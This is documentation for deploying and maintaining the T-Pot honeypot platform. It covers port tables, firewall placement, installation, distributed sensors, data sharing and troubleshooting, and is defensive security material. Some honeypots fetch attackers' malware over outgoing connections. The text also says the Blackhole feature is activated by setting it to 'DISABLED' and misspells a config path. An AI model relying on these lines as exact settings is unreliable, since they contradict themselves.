Some users report working installations on other clouds and hosters, i.e. Azure and GCP. Hardware requirements may be different. If you are unsure you should research issues and discussions and run some functional tests. With T-Pot 24.04.0 and forward we made sure to remove settings that were known to interfere with cloud based installations.

Required Ports

Besides the ports generally needed by the OS, i.e. obtaining a DHCP lease, DNS, etc. T-Pot will require the following ports for incoming / outgoing connections. Review the T-Pot Architecture for a visual representation. Also some ports will show up as duplicates, which is fine since used in different editions.

Port	Protocol	Direction	Description
80, 443	tcp	outgoing	T-Pot Management: Install, Updates, Logs (i.e. OS, GitHub, DockerHub, Sicherheitstacho, etc.
64294	tcp	incoming	T-Pot Management: Sensor data transmission to hive (through NGINX reverse proxy) to 127.0.0.1:64305
64295	tcp	incoming	T-Pot Management: Access to SSH
64297	tcp	incoming	T-Pot Management Access to NGINX reverse proxy
5555	tcp	incoming	Honeypot: ADBHoney
5000	udp	incoming	Honeypot: CiscoASA
8443	tcp	incoming	Honeypot: CiscoASA
443	tcp	incoming	Honeypot: CitrixHoneypot
80, 102, 502, 1025, 2404, 10001, 44818, 47808, 50100	tcp	incoming	Honeypot: Conpot
161, 623	udp	incoming	Honeypot: Conpot
22, 23	tcp	incoming	Honeypot: Cowrie
19, 53, 123, 1900	udp	incoming	Honeypot: Ddospot
11112	tcp	incoming	Honeypot: Dicompot
21, 42, 135, 443, 445, 1433, 1723, 1883, 3306, 8081	tcp	incoming	Honeypot: Dionaea
69	udp	incoming	Honeypot: Dionaea
9200	tcp	incoming	Honeypot: Elasticpot
22	tcp	incoming	Honeypot: Endlessh
21, 22, 23, 25, 80, 110, 143, 443, 993, 995, 1080, 5432, 5900	tcp	incoming	Honeypot: Heralding
21, 22, 23, 25, 80, 110, 143, 389, 443, 445, 631, 1080, 1433, 1521, 3306, 3389, 5060, 5432, 5900, 6379, 6667, 8080, 9100, 9200, 11211	tcp	incoming	Honeypot: qHoneypots
53, 123, 161, 5060	udp	incoming	Honeypot: qHoneypots
631	tcp	incoming	Honeypot: IPPHoney
80, 443, 8080, 9200, 25565	tcp	incoming	Honeypot: Log4Pot
25	tcp	incoming	Honeypot: Mailoney
2575	tcp	incoming	Honeypot: Medpot
6379	tcp	incoming	Honeypot: Redishoneypot
5060	tcp/udp	incoming	Honeypot: SentryPeer
80	tcp	incoming	Honeypot: Snare (Tanner)
8090	tcp	incoming	Honeypot: Wordpot

Ports and availability of SaaS services may vary based on your geographical location.

For some honeypots to reach full functionality (i.e. Cowrie or Log4Pot) outgoing connections are necessary as well, in order for them to download the attacker’s malware. Please see the individual honeypot’s documentation to learn more by following the links to their repositories.

System Placement

It is recommended to get yourself familiar with how T-Pot and the honeypots work before you start exposing towards the internet. For a quickstart run a T-Pot installation in a virtual machine.

Once you are familiar with how things work you should choose a network you suspect intruders in or from (i.e. the internet). Otherwise T-Pot will most likely not capture any attacks (unless you want to prove a point)! For starters it is recommended to put T-Pot in an unfiltered zone, where all TCP and UDP traffic is forwarded to T-Pot’s network interface. To avoid probing for T-Pot’s management ports you should put T-Pot behind a firewall and forward all TCP / UDP traffic in the port range of 1-64000 to T-Pot while allowing access to ports > 64000 only from trusted IPs and / or only expose the ports relevant to your use-case. If you wish to catch malware traffic on unknown ports you should not limit the ports you forward since glutton and honeytrap dynamically bind any TCP port that is not occupied by other honeypot daemons and thus give you a better representation of the risks your setup is exposed to.

Installation

Download one of the supported Linux distro images, follow the TL;DR instructions or git clone the T-Pot repository and run the installer ~/tpotce/install.sh. Running T-Pot on top of a running and supported Linux system is possible, but a clean installation is recommended to avoid port conflicts with running services. The T-Pot installer will require direct access to the internet as described here.

Choose your distro

Choose a supported distro of your choice. It is recommended to use the minimum / netiso installers linked below and only install a minimalistic set of packages. SSH is mandatory or you will not be able to connect to the machine remotely.

Distribution Name	x64	arm64
Alma Linux Boot	download	download
Debian Netinst	download	download
Fedora Netinst	download	download
OpenSuse Tumbleweed Network Image	download	download
Rocky Linux Boot	download	download
Ubuntu Live Server	download	download

Raspberry Pi 4 (8GB) Support

| Distribution Name | arm64 | |:—————————————————————–|:—————————————————————————————————————————————————-| | Raspberry Pi OS (64Bit, Lite) | download |

Get and install T-Pot

Clone the GitHub repository: $ git clone https://github.com/telekom-security/tpotce or follow the TL;DR and skip this section.
Change into the tpotce/ folder: $ cd tpotce
Run the installer as non-root: $ ./install.sh:
- ⚠️ Depending on your Linux distribution of choice the installer will:
  - Change the SSH port to tcp/64295
  - Disable the DNS Stub Listener to avoid port conflicts with honeypots
  - Set SELinux to Monitor Mode
  - Set the firewall target for the public zone to ACCEPT
  - Add Docker’s repository and install Docker
  - Install recommended packages
  - Remove packages known to cause issues
  - Add the current user to the docker group (allow docker interaction without sudo)
  - Add dps and dpsw aliases (grc docker ps -a, watch -c "grc --colour=on docker ps -a)
  - Add la, ll and ls aliases (for exa, a improved ls command)
  - Add mi (for micro, a great alternative to vi and / or nano)
  - Display open ports on the host (compare with T-Pot required ports)
  - Add and enable tpot.service to /etc/systemd/system so T-Pot can automatically start and stop
Follow the installer instructions, you will have to enter your user (sudo or root) password at least once
Check the installer messages for errors and open ports that might cause port conflicts
Reboot: $ sudo reboot

macOS & Windows

Sometimes it is just nice if you can spin up a T-Pot instance on macOS or Windows, i.e. for development, testing or just the fun of it. As Docker Desktop is rather limited not all honeypot types or T-Pot features are supported. Also remember, by default the macOS and Windows firewall are blocking access from remote, so testing is limited to the host. For production it is recommended to run T-Pot on Linux.
To get things up and running just follow these steps:

Install Docker Desktop for macOS or Windows.
Clone the GitHub repository: git clone https://github.com/telekom-security/tpotce
Go to: cd ~/tpotce
Copy cp compose/mac_win.yml ./docker-compose.yml
Create a WEB_USER by running ~/tpotce/genuser.sh

Adjust the .env file by changing TPOT_OSTYPE=linux to either mac or win:

# OSType (linux, mac, win)
#  Most docker features are available on linux
TPOT_OSTYPE=mac

You have to ensure on your own there are no port conflicts keeping T-Pot from starting up.
Start T-Pot: docker compose up or docker compose up -d if you want T-Pot to run in the background.
Stop T-Pot: CTRL-C (it if was running in the foreground) and / or docker compose down -v to stop T-Pot entirely.

Installation Types

Standard / HIVE

With T-Pot Standard / HIVE all services, tools, honeypots, etc. will be installed on to a single host which also serves as a HIVE endpoint. Make sure to meet the system requirements. You can adjust ~/tpotce/docker-compose.yml to your personal use-case or create your very own configuration using ~/tpotce/compose/customizer.py for a tailored T-Pot experience to your needs. Once the installation is finished you can proceed to First Start.

Distributed

The distributed version of T-Pot requires at least two hosts

the T-Pot HIVE, the standard installation of T-Pot (install this first!),
and a T-Pot SENSOR, which will host only the honeypots, some tools and transmit log data to the HIVE.
The SENSOR will not start before finalizing the SENSOR installation as described in Distributed Deployment.

Uninstall T-Pot

Uninstallation of T-Pot is only available on the supported Linux distros.
To uninstall T-Pot run ~/tpotce/uninstall.sh and follow the uninstaller instructions, you will have to enter your password at least once.
Once the uninstall is finished reboot the machine sudo reboot

First Start

Once the T-Pot Installer successfully finishes, the system needs to be rebooted (sudo reboot). Once rebooted you can log into the system using the user you setup during the installation of the system. Logins are according to the User Types:

user: [<OS_USERNAME>]
pass: [password]

You can login via SSH to access the command line: ssh -l <OS_USERNAME> -p 64295 <your.ip>:

user: [<OS_USERNAME>]
pass: [password, ssh key recommended]

You can also login from your browser and access the T-Pot WebUI and tools: https://<your.ip>:64297

user: [<WEB_USER>]
pass: [password]

Standalone First Start

There is not much to do except to login and check via dps.sh if all services and honeypots are starting up correctly and login to Kibana and / or Geoip Attack Map to monitor the attacks.

Distributed Deployment

Once you have rebooted the SENSOR as instructed by the installer you can continue with the distributed deployment by logging into HIVE and go to cd ~/tpotce folder.

If you have not done already generate a SSH key to securely login to the SENSOR and to allow Ansible to run a playbook on the sensor:

Run ssh-keygen, follow the instructions and leave the passphrase empty:

Generating public/private rsa key pair.
Enter file in which to save the key (/home/<your_user>/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/<your_user>/.ssh/id_rsa
Your public key has been saved in /home/<your_user>/.ssh/id_rsa.pub

Deploy the key to the SENSOR by running ssh-copy-id -p 64295 <SENSOR_SSH_USER>@<SENSOR_IP>):

/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/<your_user>/.ssh/id_rsa.pub"
The authenticity of host '[<SENSOR_IP>]:64295 ([<SENSOR_IP>]:64295)' can't be stablished.
ED25519 key fingerprint is SHA256:naIDxFiw/skPJadTcgmWZQtgt+CdfRbUCoZn5RmkOnQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
<your_user>@172.20.254.124's password:
  
Number of key(s) added: 1
  
Now try logging into the machine, with:   "ssh -p '64295' '<your_user>@<SENSOR_IP>'"
and check to make sure that only the key(s) you wanted were added.

As suggested follow the instructions to test the connection ssh -p '64295' '<your_user>@<SENSOR_IP>'.
Once the key is successfully deployed run ./deploy.sh and follow the instructions.

Community Data Submission

T-Pot is provided in order to make it accessible to everyone interested in honeypots. By default, the captured data is submitted to a community backend. This community backend uses the data to feed Sicherheitstacho. You may opt out of the submission by removing the # Ewsposter service from ~/tpotce/docker-compose.yml by following these steps:

Stop T-Pot services: systemctl stop tpot
Open ~/tpotce/docker-compose.yml: micro ~/tpotce/docker-compose.yml
Remove the following lines, save and exit micro (CTRL+Q): ```
Ewsposter service

ewsposter: container_name: ewsposter restart: always depends_on: tpotinit: condition: service_healthy networks:
- ewsposter_local environment:
- EWS_HPFEEDS_ENABLE=false
- EWS_HPFEEDS_HOST=host
- EWS_HPFEEDS_PORT=port
- EWS_HPFEEDS_CHANNELS=channels
- EWS_HPFEEDS_IDENT=user
- EWS_HPFEEDS_SECRET=secret
- EWS_HPFEEDS_TLSCERT=false
- EWS_HPFEEDS_FORMAT=json image: ${TPOT_REPO}/ewsposter:${TPOT_VERSION} pull_policy: ${TPOT_PULL_POLICY} volumes:
- ${TPOT_DATA_PATH}:/data
- ${TPOT_DATA_PATH}/ews/conf/ews.ip:/opt/ewsposter/ews.ip ```
Start T-Pot services: systemctl start tpot

It is encouraged not to disable the data submission as it is the main purpose of the community approach - as you all know sharing is caring 😍

Opt-In HPFEEDS Data Submission

As an Opt-In it is possible to share T-Pot data with 3rd party HPFEEDS brokers.

Follow the instructions here to stop the T-Pot services and open ~/tpotce/docker-compose.yml.
Scroll down to the ewsposter section and adjust the HPFEEDS settings to your needs.
If you need to add a CA certificate add it to ~/tpotce/data/ews/conf and set EWS_HPFEEDS_TLSCERT=/data/ews/conf/<your_ca.crt>.
Start T-Pot services: systemctl start tpot.

Remote Access and Tools

Remote access to your host / T-Pot is possible with SSH (on tcp/64295) and some services and tools come with T-Pot to make some of your research tasks a lot easier.

SSH

According to the User Types you can login via SSH to access the command line: ssh -l <OS_USERNAME> -p 64295 <your.ip>:

user: [<OS_USERNAME>]
pass: [password]

T-Pot Landing Page

According to the User Types you can open the T-Pot Landing Page from your browser via https://<your.ip>:64297:

user: [<WEB_USER>]
pass: [password]

Kibana Dashboard

On the T-Pot Landing Page just click on Kibana and you will be forwarded to Kibana. You can select from a large variety of dashboards and visualizations all tailored to the T-Pot supported honeypots.

Attack Map

On the T-Pot Landing Page just click on Attack Map and you will be forwarded to the Attack Map. Since the Attack Map utilizes web sockets you may need to re-enter the <WEB_USER> credentials.

Cyberchef

On the T-Pot Landing Page just click on Cyberchef and you will be forwarded to Cyberchef.

Elasticvue

On the T-Pot Landing Page just click on Elastivue and you will be forwarded to Elastivue.

Spiderfoot

On the T-Pot Landing Page just click on Spiderfoot and you will be forwarded to Spiderfoot.

Configuration

T-Pot Config File

T-Pot offers a configuration file providing variables not only for the docker services (i.e. honeypots and tools) but also for the docker compose environment. The configuration file is hidden in ~/tpoce/.env. There is also an example file (env.example) which holds the default configuration.
Before the first start run ~/tpotce/genuser.sh or setup the WEB_USER manually as described here.

Customize T-Pot Honeypots and Services

In ~/tpotce/compose you will find everything you need to adjust the T-Pot Standard / HIVE installation:

customizer.py
mac_win.yml
mini.yml
mobile.yml
raspberry_showcase.yml
sensor.yml
standard.yml
tpot_services.yml

The .yml files are docker compose files, each representing a different set of honeypots and tools with tpot_services.yml being a template for customizer.py to create a customized docker compose file.

To activate a compose file follow these steps:

Stop T-Pot with systemctl stop tpot.
Copy the docker compose file cp ~/tpotce/compose/<dockercompose.yml> ~/tpotce/docker-compose.yml.
Start T-Pot with systemctl start tpot.

To create your customized docker compose file:

Go to cd ~/tpotce/compose.
Run python3 customizer.py.
The script will guide you through the process of creating your own docker-compose.yml. As some honeypots and services occupy the same ports it will check if any port conflicts are present and notify regarding the conflicting services. You then can resolve them manually by adjusting docker-compose-custom.yml or re-run the script.
Stop T-Pot with systemctl stop tpot.
Copy the custom docker compose file: cp docker-compose-custom.yml ~/tpotce and cd ~/tpotce.
Check if everything works by running docker-compose -f docker-compose-custom.yml up. In case of errors follow the Docker Compose Specification for mitigation. Most likely it is just a port conflict you can adjust by editing the docker compose file.
If everything works just fine press CTRL-C to stop the containers and run docker-compose -f docker-compose-custom.yml down -v.
Replace docker compose file with the new and successfully tested customized docker compose file mv ~/tpotce/docker-compose-custom.yml ~/tpotce/docker-compose.yml.
Start T-Pot with systemctl start tpot.

Maintenance

T-Pot is designed to be low maintenance. Since almost everything is provided through docker images there is basically nothing you have to do but let it run. We will upgrade the docker images regularly to reduce the risks of compromise; however you should read this section closely.

Should an update fail, opening an issue or a discussion will help to improve things in the future, but the offered solution will always be to perform a fresh install as we simply cannot provide any support for lost data!

General Updates

T-Pot security depends on the updates provided for the supported Linux distro images. Make sure to review the OS documentation and ensure updates are installed regularly by the OS. By default (~/tpotce/.env) TPOT_PULL_POLICY=always will ensure that at every T-Pot start docker will check for new docker images and download them before creating the containers.

Update Script

T-Pot releases are offered through GitHub and can be pulled using ~/tpotce/update.sh.
If you made any relevant changes to the T-Pot config files make sure to create a backup first!
Updates may have unforeseen consequences. Create a backup of the machine or the files most valuable to your work!

The update script will …

mercilessly overwrite local changes to be in sync with the T-Pot master branch
create a full backup of the ~/tpotce folder
update all files in ~/tpotce to be in sync with the T-Pot master branch
restore your custom ews.cfg from ~/tpotce/data/ews/conf and the T-Pot configuration (~/tpotce/.env).

Known Issues

The following issues are known, simply follow the described steps to solve them.

Docker Images Fail to Download

Some time ago Docker introduced download rate limits. If you are frequently downloading Docker images via a single or shared IP, the IP address might have exhausted the Docker download rate limit. Login to your Docker account to extend the rate limit.

sudo su -
docker login

T-Pot Networking Fails

T-Pot is designed to only run on machines with a single NIC. T-Pot will try to grab the interface with the default route, however it is not guaranteed that this will always succeed. At best use T-Pot on machines with only a single NIC.

Start T-Pot

The T-Pot service automatically starts and stops on each reboot (which occurs once on a daily basis as setup in sudo crontab -l during installation).
If you want to manually start the T-Pot service you can do so via systemctl start tpot and observe via dpsw the startup of the containers.

Stop T-Pot

The T-Pot service automatically starts and stops on each reboot (which occurs once on a daily basis as setup in sudo crontab -l during installation).
If you want to manually stop the T-Pot service you can do so via systemctl stop tpot and observe via dpsw the shutdown of the containers.

T-Pot Data Folder

All persistent log files from the honeypots, tools and T-Pot related services are stored in ~/tpotce/data. This includes collected artifacts which are not transmitted to the Elastic Stack.

Log Persistence

All log data stored in the T-Pot Data Folder will be persisted for 30 days by default.
Elasticsearch indices are handled by the tpot Index Lifecycle Policy which can be adjusted directly in Kibana (make sure to “Include managed system policies”).

By default the tpot Index Lifecycle Policy keeps the indices for 30 days. This offers a good balance between storage and speed. However you may adjust the policy to your needs.

Factory Reset

All log data stored in the T-Pot Data Folder (except for Elasticsearch indices, of course) can be erased by running clean.sh. Sometimes things might break beyond repair and it has never been easier to reset a T-Pot to factory defaults (make sure to enter cd ~/tpotce).

Stop T-Pot using systemctl stop tpot.
Move / Backup the ~/tpotce/data folder to a safe place (this is optional, just in case).
Delete the ~/tpotce/data folder using sudo rm -rf ~/tpotce/data.
Reset T-Pot to the last fetched commit:
```
cd ~/tpotce/
git reset --hard
```
Now you can run ~/tpotce/install.sh.

Show Containers

You can show all T-Pot relevant containers by running dps or dpsw [interval]. The interval (s) will re-run dps.sh periodically.

Blackhole

Blackhole will run T-Pot in kind of a stealth mode manner without permanent visits of publicly known scanners and thus reducing the possibility of being exposed. While this is of course always a cat and mouse game the blackhole feature is null routing all requests from known mass scanners while still catching the events through Suricata.
The feature is activated by setting TPOT_BLACKHOLE=DISABLED in ~/tpotce/.env, then run systemctl stop tpot and systemctl start tpot or sudo reboot.
Enabling this feature will drastically reduce attackers visibility and consequently result in less activity. However as already mentioned it is neither a guarantee for being completely stealth nor will it prevent fingerprinting of some honeypot services.

Add Users to Nginx (T-Pot WebUI)

Nginx (T-Pot WebUI) allows you to add as many <WEB_USER> accounts as you want (according to the User Types).
To add a new user run ~/tpotce/genuser.sh which will also update the accounts without the need to restart T-Pot.
To remove users open ~/tpotce/.env, locate WEB_USER and remove the corresponding base64 string (to decode: echo <base64_string> | base64 -d, or open CyberChef and load “From Base64” recipe). For the changes to take effect you need to restart T-Pot using systemctl stop tpot and systemctl start tpot or sudo reboot.

Import and Export Kibana Objects

Some T-Pot updates will require you to update the Kibana objects. Either to support new honeypots or to improve existing dashboards or visualizations. Make sure to export first so you do not loose any of your adjustments.

Export

Go to Kibana
Click on “Stack Management”
Click on “Saved Objects”
Click on “Export objects"
Click on “Export all” This will export a NDJSON file with all your objects. Always run a full export to make sure all references are included.

Import

Download the NDJSON file and unzip it.
Go to Kibana
Click on “Stack Management”
Click on “Saved Objects”
Click on “Import” and leave the defaults (check for existing objects and automatically overwrite conflicts) if you did not make personal changes to the Kibana objects.
Browse for NDJSON file When asked: “If any of the objects already exist, do you want to automatically overwrite them?” you answer with “Yes, overwrite all”.

Troubleshooting

Generally T-Pot is offered as is without any commitment regarding support. Issues and discussions can be opened, but be prepared to include basic necessary info, so the community is able to help.

Logs

Check if your containers are running correctly: dps
Check if your system resources are not exhausted: htop, docker stats

Check if there is a port conflict:

systemctl stop tpot
grc netstat -tulpen
mi ~/tpotce/docker-compose.yml
docker-compose -f ~/tpotce/docker-compose.yml up
CTRL+C
docker-compose -f ~/tpotce/docker-compose.yml down -v

Check individual container logs: docker logs -f <container_name>
Check tpotinit log: cat ~/tpotce/data/tpotinit.log

RAM and Storage

The Elastic Stack is hungry for RAM, specifically logstash and elasticsearch. If the Elastic Stack is unavailable, does not receive any logs or simply keeps crashing it is most likely a RAM or storage issue.
While T-Pot keeps trying to restart the services / containers run docker logs -f <container_name> (either logstash or elasticsearch) and check if there are any warnings or failures involving RAM.

Storage failures can be identified easier via htop.

Contact

T-Pot is provided as is open source without any commitment regarding support (see the disclaimer).

If you are a security researcher and want to responsibly report an issue please get in touch with our CERT.

Issues

Please report issues (errors) on our GitHub Issues, but troubleshoot first. Issues not providing information to address the error will be closed or converted into discussions.

Use the search function first, it is possible a similar issue has been addressed or discussed already, with the solution just a search away.

Discussions

General questions, ideas, show & tell, etc. can be addressed on our GitHub Discussions.

Use the search function, it is possible a similar discussion has been opened already, with an answer just a search away.

Licenses

The software that T-Pot is built on uses the following licenses.
GPLv2: conpot, dionaea, honeytrap, suricata
GPLv3: adbhoney, elasticpot, ewsposter, log4pot, fatt, heralding, ipphoney, redishoneypot, sentrypeer, snare, tanner
Apache 2 License: cyberchef, dicompot, elasticsearch, logstash, kibana, docker
MIT license: autoheal, ciscoasa, ddospot, elasticvue, glutton, hellpot, maltrail
Unlicense: endlessh
Other: citrixhoneypot, cowrie, mailoney, Elastic License, Wordpot
AGPL-3.0: honeypots
Public Domain (CC): Harvard Dataverse

Credits

Without open source and the development community we are proud to be a part of, T-Pot would not have been possible! Our thanks are extended but not limited to the following people and organizations:

The developers and development communities of

The following companies and organizations

… and of course **you for joining the community!**

Thank you for playing 💖

Testimonials

One of the greatest feedback we have gotten so far is by one of the Conpot developers:
“[…] I highly recommend T-Pot which is … it’s not exactly a swiss army knife .. it’s more like a swiss army soldier, equipped with a swiss army knife. Inside a tank. A swiss tank. […]”

And from @robcowart (creator of ElastiFlow):
“#TPot is one of the most well put together turnkey honeypot solutions. It is a must-have for anyone wanting to analyze and understand the behavior of malicious actors and the threat they pose to your organization.”

Thank you!